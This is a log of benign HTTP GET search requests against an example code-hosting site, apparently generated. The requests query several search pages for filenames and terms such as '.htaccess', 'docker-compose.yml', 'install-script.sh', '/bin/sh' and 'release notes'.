{"method": "GET", "target": "/explore/code?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=.htaccess&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=docker-compose.yml&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=install-script.sh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=%2Fbin%2Fsh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
